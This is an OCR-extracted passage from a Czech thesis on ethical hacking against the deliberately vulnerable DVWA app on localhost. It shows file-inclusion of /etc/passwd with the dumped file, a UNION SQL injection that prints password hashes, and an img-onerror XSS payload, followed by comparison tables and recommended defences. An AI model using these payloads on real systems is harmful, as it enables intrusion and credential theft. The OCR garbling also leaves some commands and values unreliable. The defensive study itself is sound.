1 GET /dwwa/vulnerabilities/csrf/? 1 HITP/1.1 200 OK
password_new=newpass&password_conf= %Date: Mon, ©4 Dec 2023 10:14:15 GMT Request attributes 2 ~
newpass&Change=Change&user_token= 2 Server: Apache/2.4.57 (Debian)
d3340489805h487cae9a32desShes6f 67 4 Expilres: Tue, 23 Jun 2009 12:00:00
HTTP/1.1 GMT Request query parameters 4 4
Z Host: 127.0.0.1 S Cache-Control: no-cache,
= User-Agent: Mozillas5.0 (X11; Linux must-revalidate Request cookies 2 v
x86_64; rv:109.0) Gecko/20100101 & Pragma: no-cache
Firefox/115.0 7 Vary: Accept-Encoding Request headers 12 ~
4 Accept: & Content-Length: 5560
text/html, application/xhtml+xml, appl Connection: close = head g -
ication/xml;q=0.9,1mage/avif,image/w O Content-Type: esponse headers
ebp,*/*;q=0.8 text/html; charset=utf-a
S Accept-Language: en-US,en;q=0.5 11
& Accept-Encoding: gzip, deflate 12 <!DOCTYPE html=
7 Connection: close 13
& Cookle: security=high; PHPSESSID= 14 <html lang="en-GB"=
1921b4gkppbsSoul7ks]jkmg7shas 15
9 Upgrade-Insecure-Requests: 1 18  <head>
[OEHGIENE 0 hightights | (3) €% | € ||| | helle 0 highlights

Obrazek 30: Burp Suite — Nalezeni tokenu

Nyni pomoci zdrojového koédu lze opét sestavit html stranku s tlacitkem pomoci

nasledujiciho formulare.

Obrazek 31: Formular, Zdroj: Viastni

4.4.1.4 Utok File inclusion po aplikaci ochran

V ptipadé utoku pomoci file inclusion je mozné postupovat podobné, proto jsou opét
vyzkouseny predeslé pokusy zakoncené:
127.0.0.1/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php. Nicméné po vSech
pokusech je pokazdé obdrzen stejny vysledek, ato ERROR FILE NOT FOUND. Po

prozkoumani zdrojového kodu a nékolika manualnich pokusech je opét mozné se dostat
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http://127.0.0.1
https://ce%3entile
https://firefox.5ettings.services
http://127.0.0.1
https://content-signature-2.cdn
http://127.0.0.1/dvwa/vulnerabilities/csrf/

k heslim pomoci spravného formulovani, které je nasledujici

127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd, viz obrazek 32.

C O 0O 127.00

Kali Linux #& Kali Tools Kali Docs & Kali Forums o\

root:x:0:0:root:/root/usrbin/zsh daemon:x:1:1:daemon:/usr/shin: in/nologin binc: bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:fusrisbin/nologin sync:x:4:65534:syncibin:/bin/sync games:x:5:60:games:/usr/games:
fusrishin/nologin man:x: :man:fvar/cache/man:fusr/sbin/nologin Ip: Ip:ivarfspool/lpd:fusr/sbin/nologin mail:x:8:8:mail:ivarimail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/shin/nologin
uucp:x:10:10:uucp:var/spooluucp:/usr/sbin/nologin proxy:x:13:13:proxy: Jusrishinnologin www-data:x:33:33www-data:variwww:fusr/sbin/nologin backup: 34:backup:fvaribackups:/usrishininalogin list:x:38:38:Mailin
List Manager:ivar/list:/usrishin/nologin irc:x:39:3%:ircd /runfircd:/usr/shin/nologin _apt:x:42:65534:/nonexistent:/usr/shinfnologin nobody:x:65534:65534:nobody:inonexistent:/usrishin/nologin systemd-
network:x:998:998:systemd Network Management:/:fusr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/fusr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/shinmologin iss:x:101:109:TPM
software stack,,,.ivarlib/tpm /binffalse strongswan:x:102:65534./varflib/strongswan:/usrisbin/nologin tcpdump:x:103:110::inonexistent:fusr/sbin/nologin usbmux:x:104:46:usbmux daemon,,, varfib/usbmux:/usr/sbin/nologin
sshd:x:105:65534: /run/sshd:/usr/sbin/nologin dnsmasq:x:106:65534:dnsmasq,,,:var/lib/misc:fusrisbin/nologin avahi:x:107:112:Avahi mDNS daemo un/avahi-daemon:fusr/sbin/nologin speech-
dispatcher:x:108:29:Speech Dispatcher,,, /run/speech-dispatcher:/bin/false pulse:x:109:114:PulseAudio daemon,, :frun/pulse:fusr/shin/nologin lightdm:x:110:116:Light Display Manager. ivar/libflightdm:/bin/false
saned:x:111:118::var/lib/saned:/usr/sbin/nolagin polkitd:x:996:996:polkit:/nonexistent./usr/sbin/nologin rtkit:x:112:119:RealtimeKit.,, /proc:/fusrishin/nologin colord:x:113:120:colord colour management daemon, , Jvarflib/colord.
fusrishin‘nologin nm-openvpn:x:114:121:NetworkManager OpenVPN,, :/ivarfli/openvpnichroot:fusrisbinfnologin nm-op nnect:x:11 2:N OpenConnect plugin,,.fvarflib/NetworkManagerfusr/sbin/nologin
mysqlx:116:124:MySQL Serve nonexistent:/binffalse stunneld:x:995:995:stunnel service system accounti/var/run/stunneld-jusr/sbin/inologin _rpc:x:117:65534:/run/rpcbind:fusr/sbin/nologin geoclue:x:118:126: ivar
fib/geaciue:iusrishin/nologin Debian-snmp:x:119:127::ivarflib/snmp:/bin/false ssih:x:120:128:f i risbin/nologin ntpsec:x:121:131::/no usr/sbin/nologin redsocks:x:122:132:: varfruniredsocks:fusrisbin
fnologin rwhod:x:123:65534::var/spool/rwvhos ininologin iodinerx:125:65534:/run/iodine:fusrisbininologin miredo:x:126:65534: ivar/run/miredo:/usr/shin/nologin
statd:x:127:65534::var/lib/nfs: /usr/sbininologin redis:x:128:135::/varflib/redis:/usr/shin/nolagin postgres:x:129:136:PostgreSQL administrator,,,:var/lib/postgresgl./bin/bash mosquitto:x:130:138::ivar/libfmosquitto:/usr/sbin
Inologin inetsim:x:131:138::/var/lib/inetsim:/usy/shin/nologin_gvm:x:132:141 :fvar/lib/openvas:/usr/sbininologin kali:x:1000:1000:,,,./nome/kalifusribin/zsh

Obrazek 32: 1'ystup File Inclusion po aplikaci ochran, Zdroj: Viastni

4.4.1.5 SQL injection po aplikaci ochran

Po aplikaci ochran se pouziva funkce mysql real escape string(). Tato funkce nepovoluje
uvozovky v payloadu. Ty ale nejsou potieba, protoze ve zdrojovém kodu, Ize zjistit, ze pole

Id je zpracovavano bez uvozovek.

5 ] 5QL Injection Session Input :: Damn Vulnerable Web Application (DVWA) — Mezilla Firefox

O O 127.00 ulnerak sqli/session-input.php

! || Submit

' Close |

Obrdzek 33: Nové okno pro vyplnéni, Zdroj: Viastni
Dal$i ochranou je otevieni nového okna viz obrazek 33. Minuly ptikaz zde nefunguje ale je
mozné vlozit nasledujici payload: 1' UNION SELECT user, password FROM users#. Lze to
ucinit zde, pfimo vlozit do zdrojového kodu na kart€ inspect nebo pouzitim nastroje Burp

Suite.
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file:///etc/passwd

Vulnerability: SQL Injection

Click

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cT99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99al8c428cb38d5T260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbedBcade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5T4dcc3b5aa765d61d8327deb882cT99

Obrdazek 34: 1'ystup po vioZeni prikazi UNION, Zdroj: Viastni
Jak zobrazuje obrazek 34. Po vlozeni doSlo k vypsani logini a hesel vSech uZivatelt

ulozenych v databazi. Spravnym formulovanim lze timto zpisobem ziskat dalsi informace,

které jsou ulozeny v databazi této webové aplikace.

4.4.1.6 Utok pomoci Javascriptu po aplikaci ochran

Pomoci nastroje Burp Suite je mozné odkryt skryty token, pfi zmén€ nastaveni Proxy
v aplikaci. Zamitnutim File Extension a upraveni modifika¢nich pravidel na odhaleni
skrytych formulafovych poli, jejich okamzité zobrazeni, povoleni zamitnutych
formularovych poli a odstranéni limitu pole. Po Gpravach a znovu nacteni stranky Burp Suite

zobrazi skryté pole viz. Obrazek x.

Vulnerability: JavaScript Attacks

Submit the word "success” to win.

Invalid token.

Hidden field [token] ecc76¢c19c9f3c5108773d6¢C

Phrase | |[ submit |

Obrazek 35: Odhaleni skrytého pole, Zdroj: Viastni
Pouzitim python serveru a aplikace Burp Suite je nahrazen ptvodni js soubor nazvany

high.js novym souborem nazvanym new js.
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Obrdazek 36: Zobrazeni nahrazeného souboru new,js, Zdroj: Viastni

Pomoci vlozeného javascriptu, ktery je velmi podobny tomu, co je na strance, debuggeru
v prohlize¢i zobrazenym na obrazku 37 byly nastaveny takzvané breakpointy neboli body
preruseni, pomoci kterych byl zji§tén skryty token ke slovu success a po projiti celého

procesu doslo k prolomeni a je obdrzena odpoveéd ,,Well Done*

e [ Debugger T Metwork
. T .

Obrazek 37: Debugger, Zdroj: Vlastni
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4.4.1.7 XSS utok po aplikaci ochran

Prvni ochranou je limit znakt na pole, ktery 1ze jednoduse zménit, jak je vidét na obrazku x

nebo pomoci nastroje Burp Suite, ktery dokaze toto ud¢lat automaticky.

Name *

tName" type="text”

form * table

Obrazek 38: Zména délky pole, Zdroj: Viastni

Skripty jsou kompletné zakazany a pouzivani specidlnich znaku taktéz. Proto je nutné to
napsat jinak a je tu moznost pomoci nasledujici pfikazu: <img src=x onError (" XSS test")>
a vysledek je pak stejny jako v pfipade€ zadné ochrany, jak zobrazuje obrazek 39. Zprava se

uspesné zobrazi po vkroceni na onu stranku.

©127.0.0.1

XSS test

Obrazek 39: Zprava pri vstupu na stranku, Zdroj: Viastni
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4.5 Komparace ucinnosti atoku pred a po aplikovani ochran

Tato Cast se zaméfuje na porovnani utoktl pred aplikaci ochrany, po ni a po aplikaci
dodatecnych ochran, které by méli utoku definitivné zamezit. Komparace je provadéna na
zakladé namétenych informaci z dfivéjsich dvou pokust o prolomeni.

Tato Cast se nejprve zaméfuje na stanoveni testovanych aspekti a jejich moznosti. Po tomto
nasleduje samotna komparace, kde jsou tyto aspekty pouzity. Nasleduje vybér nejlepSich
postupt ochrany v kazdé testované a komparované zranitelnosti, podle kterého se v posledni

Casti zpracovavaji vysledky.

4.5.1 Testované aspekty

o Uroveil zabezpeteni aplikace DVWA — Jednotliva zabezpeeni jsou rozepsana
v prubéhu prace pii kazdém ttoku nebo navrh ochrany. Testovaci aspekt zabezpeceni
reprezentuje jednotliva zabezpeceni aplikace DVWA, ktera jsou nasledujici:

o Low: Aplikace DVWA je zabezpeCena minimalné, tedy s nizkou urovni
odolnosti viici béznym Gtokim. Bezpecnostni mechanismy jsou bud'to Gplné
zanedbané nebo slabé.

o Medium: Stfedni Uroverni zabezpeceni zahrnuje lepsi ochranu nez u nizké
urovné, ale mohou zde stale existovat znamé zranitelnosti.

o High: Aplikace DVWA je dobfe zabezpeCena s dirazem na odolnost vici
Sirokému spektru utokd.

o Impossible: Tato Groven znamena, ze je nemozné provést utok kvili vysoké
urovni zabezpeceni aplikace.

e Pouzity nastroj/prosttedi — Specifikace konkrétniho néastroje nebo prostiedi,
napfiklad ,, Burp Suite, ,,Sqlmap*, nebo ,,Commix“. Kazdy z téchto nastroji ma své
vlastni schopnosti a zaméfeni na rizné typy testovani bezpecnosti.

e Uspé&snost — Tento aspekt zna&i Gsp&$nost utoku pomoci nominalni proménné:

o Usp&sny: Utok byl Gsp&sny a ttoénik ziskal neopravnény piistup nebo né&jaky
jiny nezadouci vysledek.

o Neuspesny: Obranna opatfeni aplikace byla uspésna a utok nebyl proveden
nebo byl odrazen.

e Doba trvani — Casovy ramec, ktery udava, jak dlouho trval tok. Délka mize

naznacovat efektivnéjsi obranna opatfeni nebo vyssi obtiznost utoku.
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Druh/variace utoku — Seznam konkrétnich atokt nebo jejich variaci, naptiklad ,,SQL

injection, | Cross-Site Scripting (XSS)“, ,,Cross-Site Request Forgery (CSRF)“,

a dalsi.
Ochranna opatieni — Vycet implementovanych bezpecnostnich opatieni, jako jsou
firewally, Sifrovani dat, silné autentizacni metody, filtrovani, a dalsi.
Obtiznost z pohledu testera — Zhodnoceni obtiznosti provedeni utoku z pohledu
osoby tedy testera. Obtiznost je ovlivnéna mymi schopnostmi, ¢asem vénovanym
pfipravé, samotného provedeni testu, tak ikvalitou implementovanych
bezpecnostnich opatfeni. Mozné vystupy jsou:
o Snadna: Utok je snadno proveditelny s minimalnim Gsilim a znalostmi.
o Stfedni: Provedeni Utoku vyzaduje urcitou uroven znalosti a dovednosti, ale
neni extrémné obtizné.
o Vysoka: Utok je naroéngjsi a vyzaduje pokro¢ilé dovednosti a znalosti, které
jsou potieba dopredu znat, aby bylo mozné test dokoncit.
o Nedosazitelna: Utok nelze provést, protoZe jsou implementovana vysoka

ochranna opatfeni nebo jsou znalosti a dovednosti testera nedostatecné.
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4.5.2 Komparace jednotlivych atoku

4.5.2.1 Brute Force

Testovany aspekt Vysledky pred Vysledky po Vysledky po

ochrannymi opatfenimi ochrannych aplikovani
opatfenich dodate¢nych ochran

Uroven zabezpedeni | Low High Impossible

aplikace DVWA

Pouzity Burp Suite Burp Suite Burp Suite

nastroj/prostredi

Uspésnost Uspé&sny Uspé&sny Neuspésny

Priblizna doba trvani | 126 minut 205 minut Test nebyl dokonan

z duvodu nezdaru

Druh/variace utoku

Brute force

Brute Force

Brute Force

(Pitchfork) (Pitchfork)
Ochranna opatfeni N/A Omezeni zadosti, Zablokovani IP adres,
CSRF token, dvoufazova
nahodné rozmezi autentizace (2FA)
pro chybném pokusu
Obtiznost z pohledu | Snadna Stredni Nedosazitelna
testera
Tabulka 1: Komparace Brute Force
4.5.2.2 Command Injection
Testovany aspekt Vysledky pred Vysledky po Vysledky po
ochrannymi opatfenimi | ochrannych aplikovani
opatfenich dodatecnych ochran
Uroven zabezpedeni | Low High Impossible
aplikace DVWA
Pouzity Burp Suite a Commix Burp Suite a Commix | Burp Suite a Commix
nastroj/prostredi
Uspésnost Uspésny Uspésny NeuspéSny
Priblizna doba 7m 36s 11m 3s Test nebyl dokonan
trvani z divodu nezdaru

Druh/variace utoku

Command injection

Command injection

Command injection

Ochranna opatfeni

N/A

Filtrovani specialnich
znaku, Whitelist
znaku, Omezeni

Ovéreni syntaxe [Pv4,
pouzivani
parametrizovanych

prikazi dotazu, implementace
firewallu
Obtiznost z pohledu | Snadna Snadna Nedosazitelna
testera

Tabulka 2: Komparace Command Injection
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4.5.2.3 CSRF

Testovany aspekt Vysledky pred Vysledky po Vysledky po
ochrannymi ochrannych aplikovani
opatfenimi opatfenich dodatecnych ochran

Uroven zabezpeéeni Low High Impossible

aplikace DVWA

Pouzity Burp Suite, HTML Burp Suite, HTML | Burp Suite, HTML

nastroj/prostredi kod kod kod

Uspésnost Uspé&sny Uspésny NeuspéSny

Priblizna doba trvani 6m 12s 15m 8s Test nebyl dokonan

z diivodu nezdaru
Druh/variace utoku CSRF CSRF CSRF
Ochranna opatfeni N/A Ochrana pred Pouziti vice nez
UNION operatorem, | jednoho
zména typu dotazu, | synchronizaé¢niho
Omezeni délky tokenu, striktni
vstupnich dat, politiky
ANTI-CSRF
Token

Obtiznost z pohledu Snadna Stredni Nedosazitelna

testera

Tabulka 3: Komparace CSRF
4.5.2.4 File inlusion

Testovany aspekt Vysledky pred Vysledky po Vysledky po
ochrannymi ochrannych aplikovani
opatfenimi opatfenich dodateénych ochran

Uroven zabezpedeni Low High Impossible

aplikace DVWA

Pouzity DVWA, url Burp Suite Burp Suite

nastroj/prostredi

Uspésnost Uspé&sny Uspé&sny Neuspésny

Priblizna doba trvani 8m 32s 16m 24s Test nebyl dokonan

z duvodu nezdaru

Druh/variace utoku

File inclusion

File inclusion

File inclusion

Ochranna opatfeni N/A Omezeni na Uplné omezeni
povolen¢ protokoly, | moznosti zahrnuti
Filtrace nebo souboru
omezeni urcitych
znaku, Ochrana proti
nulovému bajtu
Obtiznost z pohledu Snadna Snadna Nedosazitelna
testera

Tabulka 4: Komparace File inclusion
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4.5.2.5 SQL injection

Testovany aspekt Vysledky pred Vysledky po Vysledky po
ochrannymi ochrannych aplikovani
opatfenimi opatfenich dodateénych ochran

Uroveri zabezpedeni Low High Impossible

aplikace DVWA

Pouzity DVWA, Sqlmap DVWA, Sqlmap DVWA, Sqlmap

nastroj/prostredi

Uspésnost Uspésny Uspésny Neuspésny

Priblizna doba trvani 10m 48s 15m 14s Test nebyl dokonan

z diivodu nezdaru

Druh/variace utoku SQL injection SQL injection SQL injection

Ochranna opatfeni N/A Double URL Parametrizované

Encoding, dotazy, validace
Nemoznost ménit vstupnich dat,
typ dotazu, Omezeni | whitelist pro vstupni
délky vstupnich dat, | data
Filtrovani klicovych
slov
Obtiznost z pohledu Stredni Stredni Nedosazitelna
testera
Tabulka 5: Komparace SQL injection
4.5.2.6 Javascript

Testovany aspekt Vysledky pred Vysledky po Vysledky po
ochrannymi ochrannych aplikovani
opatfenimi opatfenich dodateénych ochran

Uroven zabezpedeni Low High Impossible

aplikace DVWA

Pouzity Burp Suite Burp Suite a Firefox | Burp Suite a Firefox

nastroj/prostredi debugger debugger

Uspésnost Uspé&sny Uspé&sny Neuspésny

Priblizna doba trvani 19m 35s 31m 40s Test nebyl dokonan

z diivodu nezdaru

Druh/variace utoku Javascript Javascript Javascript

Ochranna opatfeni N/A Content Security CORS, zakazani

Policy, Filtrace eval(), omezeni
specialnich znaku, pouzivani globalnich
HTTP Only Cookies | proménnych

Obtiznost z pohledu Stiedni Vysoka Nedosazitelna

testera

Tabulka 6: Komparace Javascript




4.5.2.7 XSS

Testovany aspekt Vysledky pred Vysledky po Vysledky po
ochrannymi ochrannych aplikovani
opatfenimi opatfenich dodatecnych ochran

Uroven zabezpedeni Low High Impossible

aplikace DVWA

Pouzity DVWA Burp Suite a DVWA | Burp Suite a DVWA

nastroj/prostredi

Uspésnost Uspésny Uspésny NeuspéSny

Priblizna doba trvani 6m 15s 11m 37s Test nebyl dokonan

z diivodu nezdaru
Druh/variace utoku XSS stored XSS stored XSS stored
Ochranna opatfeni N/A Ochrana pred Content Security
vloZenim skriptu do | Policy (CSP),
databaze, Omezeni aktivace
HTML tagu bezpecnostnich
a atributt, Aktivace | hlaviéek, automatické
bezpecnostnich odstranéni Skodlivych
hlaviéek dat
Obtiznost z pohledu Snadna Stredni Nedosazitelna
testera

Tabulka 7: Komparace XSS
4.5.3 Vybér nejlepsich postupu pro ochranu

Pii vybéru optimalnich postupt pro ochranu webovych aplikaci je nezbytné detailné se
zaméfit na kazdou identifikovanou zranitelnost v ramci testovaného prostredi DVWA
navrhnout specifickd bezpecnostni opatfeni. Vybér je provadén na zakladé testovacich

scénafu, samotného testovani a navrzenych ochran.

4.5.3.1 Brute Force

Brute force utoky jsou ¢astym nastrojem utocniku, ktefi se snazi ziskat neopravnény piistup
na ucet uzivatele prostfednictvim opakovanych pokust o uhodnuti hesla. V pfipadé omezeni
zadosti a nutnosti CSRF tokenu je sice brute force utok zpomalen ale jeho uplnému
zablokovani nejlépe zabrani zablokovani IP adres po piekroceni ur¢itého poctu neuspesnych
pokusim, které je prvni linii obrany. Nicméné€, ucinngjsi ochranou je implementace
dvoufazové autentizace (2FA), ktera vyzaduje od uzivatele poskytnuti dvou nezavislych
forem identifikace, ¢imz znacné komplikuje ukoly Gitocnikiim a v mém testovaném prostiedi

naprosto zabratiuje jakékoliv moznosti utoku.
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4.5.3.2 Command Injection

Zranitelnost command injection umoziuje utocnikovi spustit neautorizované piikazy na
serveru. Aplikace filtrace znakl a pouziti whitelistu opét utoCnika pouze zpomali. Mnohem
idealn¢jsi ochranou je ovérfeni syntaxe IPv4, tedy ze atocnik muze vkladat pouze IP adresu
anic jiného. Posilenim pouzitim parametrizovanych dotazi zamezi dal§imu postupu.
Dalsimi dulezitymi opatfenimi muze byt ve firmach rovnéz konfigurace firewallu
k blokovani neopravnénych piikazi, sledovani datovych tokli umoziujici rychlou

identifikaci potencialnich hrozeb a reakci na né.

4.5.3.3 Cross-Site Request Forgery (CSRF)

CSRF utoky mohou vést k provedeni nezadoucich akci vramci webové aplikace
prostfednictvim autorizovaného uzivatele. Omezeni délky a pouziti anti CSRF tokenu slouzi
pro zpomaleni utoku. K zamezeni se vice hodi implementace synchroniza¢nich tokend, které
jsou zahrnuty do formulait a ovéiuji legitimnost pozadavku. Dal§im uziteCnym posilenim
muze byt pouziti striktni politiky pro ovéfeni pozadavka posilujici obranu proti CSRF

utokum.

4.5.3.4 File Inclusion

Zranitelnost file inclusion mize umoznit Gto¢nikovi zahrnout a vykonat skodlivy kéd nebo
soubory. Pro zpomaleni utoku funguje filtrace nebo omezeni urcitych znaka a ochrana proti
nulovému bajtu. Pro Gplné zamezeni utoku je nezbytné uplné omezit moznosti zahrnuti
soubord. Dalsimi kroky muze byt disledné sledovani datovych toki a pfijmout preventivni

opatfeni k zabranéni neopravnénému pfistupu k soubortim.

4.5.3.5 SQL Injection

Zranitelnost SQL injection umoziiuje uto¢nikovi injektovat skodlivy SQL kod do dotazi na
databazi, coz muze vést k neopravnénému ziskani ¢i modifikaci dat. Omezeni délky
vstupnich dat a filtrovani nékterych klicovych slov jsou opét metody, jak efektivné utok
zpomalit. Nicmén€ implementace parametrizovanych dotazu, striktni validace vstupnich dat
a escapovani znaku jsou kliCovymi prvky ochrany. Vytvofeni a udrzovani whitelistu pro

vstupni data ztézuje manipulaci s dotazy a snizuje riziko uspéSného SQL injection utoku.
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4.5.3.6 JavaScript

Zranitelnosti spojené s JavaScript mohou byt vyuzity pro provadéni riznych utokd, véetné
Cross-Site Scripting (XSS). Pro ucinné zpomaleni je dobré pouzit napiiklad filtraci
specialnich znaku. Ale pro ochranu proti t€mto hrozbam je dilezité implementovat Content
Security Policy (CSP), zakazat rizikové funkce jako eval() a omezit pouzivani globalnich

proménnych. Tato opatfeni predchazeji injekci Skodlivého kodu do webové stranky.

4.5.3.7 Cross-Site Scripting (XSS)

XSS utoky jsou zaméfeny na vlozeni Skodlivého kodu do webové stranky, ktery je poté
spustén v prohlizeci uzivatele. Pro ucinné zpomaleni funguje omezeni HTML tagu a atributd
a aktivace bezpeCnostnich hlavicek. Pro uc¢innou ochranu je nezbytné implementovat
Content Security Policy (CSP), aktivovat bezpe¢nostni hlavicky a automaticky odstrafiovat
Skodliva data. Tato opatfeni spolecné zajistuji, ze webova aplikace efektivné odolava

raznym formam XSS utokiim.

4.5.4 Vyhodnoceni

Vyhodnoceni a implementace téchto bezpecnostnich opatfeni by méla byt soucasti celkové
strategie zabezpeCeni webové aplikace. Pravidelné aktualizace, testovani a sledovani
bezpecnostnich udalosti jsou kli¢ové pro udrzeni ucinnosti ochrannych mechanismi pied
aktualnimi a novymi hrozbami. Je nutné ale pfijmout to, ze vSechny tyto metody a navrhy
jsou pouze v mezich, které byli dostupné pfi zpracovavani prace aje tedy mozné, ne-li
pravdépodobné, ze by zkuseni odbornici v praxi dokazali tyto ochrany obejit.

Pouziti téchto postupi by mélo byt neustale zdokonalovano na zakladé vyvoje
bezpecnostniho prostredi a nove identifikovanych zranitelnosti. Implementace komplexnich
bezpecnostnich strategii je klicem k udrzeni integritni a spolehlivé webové aplikace v dobé

neustalého vyvoje hrozeb a technologii.
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S Vysledky a diskuse

V této Casti je provedeno zhodnoceni vysledka a nasledna diskuse, ktera poskytuje vhled do
ucinnosti testovanych scénait béhem simulace ruznych typt Gtokt na webovou aplikaci
nasledované moznostmi pro dalsi testy, které uvadi, co vSe by bylo mozné v ramci prace
dale zpracovavat. Béhem provadéni testi byly ziskany vysledky, které pomohly 1épe
porozumét, jak jednotlivé zabezpeCovaci opatfeni ovliviiuji odolnost aplikace vuci
potencialnim hrozbam.

Jak Ize sledovat z grafu 1, prvni zvoleny cil implementace zabezpeceni byl uspésné dosazen.
I pres prolomeni vSech zabezpecovacich mechanismi utocnikiim trvalo prolomeni systému
déle, coz svéd&i o G&innosti navrzenych opatieni. Casy po aplikaci dodateénych ochran jiz

nejsou psany z davodu selhani po nékolika minutach.

DOBA TRVANI
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0:31:40
B o.06:15
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0:11:37

Graf 1: Doba trvani utokii

Z analyzy Casovych udaji pred a po provedeni ruznych metod utokt vyplyvaji nékteré
klicové zavery tykajici se jejich tcinnosti a moznych dopadii. Prvnim vyznamnym zjisténim
je, ze utok metodou brute force ma nejveétsi casovou narocnost, piicemz dobu jeho provedeni
zvySuje o 79 minut. Toto zjisténi poukazuje schopnost zpisobit vyznamné zpozdéni ve
funk¢nosti systému diky pouzitym zabezpeceni. Je dulezité si uvédomit, ze ackoliv mize
byt brute force Utok ¢asoveé naro¢ny, relativné snadno se provadi, pokud nejsou zavedena

adekvatni bezpe€nostni opatteni.
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Naopak, metody jako SQL injection a JavaScript také zptusobuji vyrazné prodlouzeni doby
trvani atoku, coz naznacuje jejich schopnost ovlivnit funk¢nost systému a zranitelnost. Tyto
techniky jsou znamé pro svou schopnost manipulovat s daty a vyvolavat nezadouci akce na
cilovém systému.
Prestoze brute force ttok dominuje casové s uvedenym zvysSenim o 79 minut, je nutné brat
v potaz také slozitost utoku jako celek. Nejvyssi slozitost predstavuje utok typu JavaScript,
vyzadujici peclivou pozornost a znalost fungovani webovych stranek a JavaScriptu. Ackoliv
1 brute force utok po aplikaci ochrannych opatfeni neni trivialni, dostupnost penetrac¢nich
testovacich nastrojii jej znacné usnadriuje. Je rovnéz dulezité zduraznit, ze doba trvani utoku
je zavisla na pouzitém zasobniku slov.
Po kombinaci testovanych aspektd s kladenym darazem na slozitost daného utoku a doby
trvani vyplyva ze nejefektivnéjsi aplikovana zabezpeceni urovné , high* jsou pripadé utokem
typu JavaScriptu, nasledovana Brute force utokem a CSRF. V piipadé¢ aplikovani
dodatecnych ochran trovné ,impossible doslo k selhani ve vSech piipadech s pouzitim
stejné metody jako tomu bylo v pfedeslé obtiznosti, s tim ze o utok typu Javascript byl
pokousSen nejdéle, a naopak brute force nejmensi dobu.
Nejucinngjsi zabezpeceni u jednotlivych zranitelnosti:

e Brute force — Zablokovani IP adres, dvoufazova autentizace

e Command injection — Ovéfeni syntaxe IPv4

e CSRF - Pouziti synchronizac¢niho tokenu

e File Inclusion — Uplné omezeni moznosti zahrnuti soubort

e SQL Injection — Pouziti parametrizovanych dotaza a whitelistu pro vstupni data

e Javascript - CORS, zakazani eval(), omezeni pouzivani globalnich proménnych

e XSS - Content Security Policy (CSP) a aktivace bezpecnostnich hlavicek
Zjisténi 100% ucinnosti testovacich scénaiu je v piipadé Command injection, File Inclusion
a SQL injection. Ve vSech zminénych variantach toto pfedstavuje znacny uspéch v ramci
zabezpecCeni téchto konkrétnich zranitelnosti, to znamend, ze scénar mohl bat pouzit
v neupravené podobé jak v dobé pred aplikovanim zabezpeceni, tak i po.
Dale je tfeba zdtraznit, Ze nejefektivné]si aplikovana zabezpecCeni byla v pfipadé utoku typu
Javascript, Brute Force a CSRF predstavujici kliCovy aspekt v oblasti prevence
kybernetickych hrozeb. Konkrétnéji, v ptipadé utoku typu Javascript jsou metody jako

CORS, zakazani eval() a omezeni pouzivani globalnich proménnych nezbytné k omezeni
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rizika zneuziti této zranitelnosti. Pro utoky typu Brute Force je implementace opatieni jako
zablokovani IP adres a dvoufdzova autentizace nezbytnd k efektivni ochrané proti
neopravnénym pokustm o piihlaseni. V pfipadé CSRF je kliCovou ochrannou vrstvou
pouziti synchroniza¢niho tokenu, ktery zabrani neautorizovanému odesilani zadosti ze
strany utocnika.

Celkove lze tedy konstatovat, Ze uspésnost testovacich scénait a efektivnost aplikovanych
zabezpeceni predstavuje kriticky prvek v boji proti kybernetickym hrozbam a zachovani
integrity a bezpecnosti informacnich systému. V pfipade udrzovani néjaké webové aplikace
je tedy nezbytné tyto opatfeni aktudlni a reagovat na nové typy hrozeb a zranitelnosti, aby

byla zajiSténa co nejvyssi mira ochrany a bezpecnosti dat.

5.1.1 Moznosti dalsich testu

V prabéhu této studie byly identifikovany zranitelnosti, z nichz ¢ast byla vyhodnocena jako
kriticka pro bezpecnost webovych aplikaci. Tato kritéria byla dukladné€ analyzovana
a nasledné bylo rozhodnuto, které konkrétni zranitelnosti budou dale zkoumany v ramci
testovani. Tento selektivni pfistup byl zdavodnén nékolika faktory. Za prvé, existovala
podobnost nekterych typt utokd, coz umoznilo koncentrovat se na specifické hrozby. Za
druhé, samotna aplikace DVWA poskytuje fadu moznosti pro testovani zranitelnosti, avSak
z divodu efektivity bylo nutné vybrat konkrétni scénare a nezkoumat kazdou potencialni
slabost zvlast, coz by vedlo k zdvojeni rozsahu prace. Mezi vybranymi moznostmi dal§ich
testd patfi File Upload, Insecure CAPTCHA, Blind SQL Injection, Weak Session IDs, XSS
(Doomed), XSS (Reflected), CSP Bypass, Authorization Bypass a Open Redirect. Tato
selekce neni omezena pouze na aplikaci DVWA, ale mize byt aplikovana i na dalsi podobné
aplikace ¢i webové platformy.

Dals$im vyznamnym krokem v ramci této prace by mohlo byt rozsifeni testovani na realnou
aplikaci né&jaké firmy. To by umoznilo aplikovat ziskané znalosti a metodiky na konkrétni
pracovni prostfedi a ovéfit jejich praktickou ucinnost v kontextu firemni bezpecnosti.
Takovy pfistup by mohl poskytnout uzitecné informace pro organizace, které chtéji
proaktivné posilovat své bezpecCnostni opatieni a minimalizovat rizika spojend se

zranitelnostmi webovych aplikaci.
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6 Zavér

Tato prace se zaméfila na problematiku etického hackingu, bezpec¢nosti webovych aplikaci
a jejich ochranu pred riznymi formami utokd. Byla provedena analyza rizik, jimz jsou
uzivatelé vystaveni, a bezpecnostnich opatfeni webovych aplikaci.

V teoretické Casti prace byly peclivé rozebrany klicové aspekty etického hackingu. Diraz
byl kladen na pochopeni riznych typt utokt ajejich metodiky, jakoz ina identifikaci
strategii ochrany a prevence. Zvlastni pozornost byla vénovana problematice bezpecnosti
webovych aplikaci a technologiim pouzivanym k jejich ochrang.

Praktickd Cast prace zahrnovala tvorbu prostfedi pro testovani a vytvareni testovacich
